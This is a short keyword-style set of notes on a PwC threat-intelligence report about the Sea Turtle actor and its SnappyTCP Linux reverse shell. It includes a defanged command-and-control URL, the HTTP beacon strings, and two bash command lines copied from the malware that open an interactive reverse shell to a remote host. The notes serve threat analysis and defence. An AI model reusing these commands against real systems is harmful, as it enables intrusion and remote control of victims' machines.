toroiseandthemalwahare-pwc2023

0001-01-01

The Tortoise and The Malwahare

by PwC Threat Intelligence

December 5, 2023

https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html

Notes
threat intelligence
Sea Turtle
Teal Kurma
SnappyTCP
reverse shell
Linux malware
Unix
Turkey
Marbled Dust
Cosmic Wolf
Europe
Middle East
non-governmental organizations (NGO)
telecommunications
command and control
persistence
TLS
plaintext
GitHub
attacker stored code on GitHub/reused public examples https://github.com/jacksp7
DNS
DNS hijacking
CVE-2021-44228
CVE-2021-21974
CVE-2022-0847
upxa.sh
dropper
webshell
hxxp://lo0[.]systemctl[.]network/sy.php.
GET /sy.php HTTP/1.1\r\nHost: %s\r\nHostname: %s\r\n\r\n", host_name, host_name
Greek CERT
CERT
X-Auth-43245-S-20
bash -c \\"./kdd_launch exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:%s:%d 2>&1>/dev/null&\\"
OpenSSL
GET /ssl.php HTTP/1.1\\r\\nHost: %s\\r\\nHostname: %s\\r\\nConnection: close\\r\\n\\r\\n
bash -c \\"./update exec:‘bash -li’,pty,stderr,setsid,sigint,sane OPENSSL:%s:%d,verify=0 2>&1>/dev/null&\\"
GLIBC - GNU C library
static linking
cross compiling
pthreads
bash
ESXi OpenSLP heap overflow
passive DNS
cyberespionage
exfiltration
victimology
threat actor
APT

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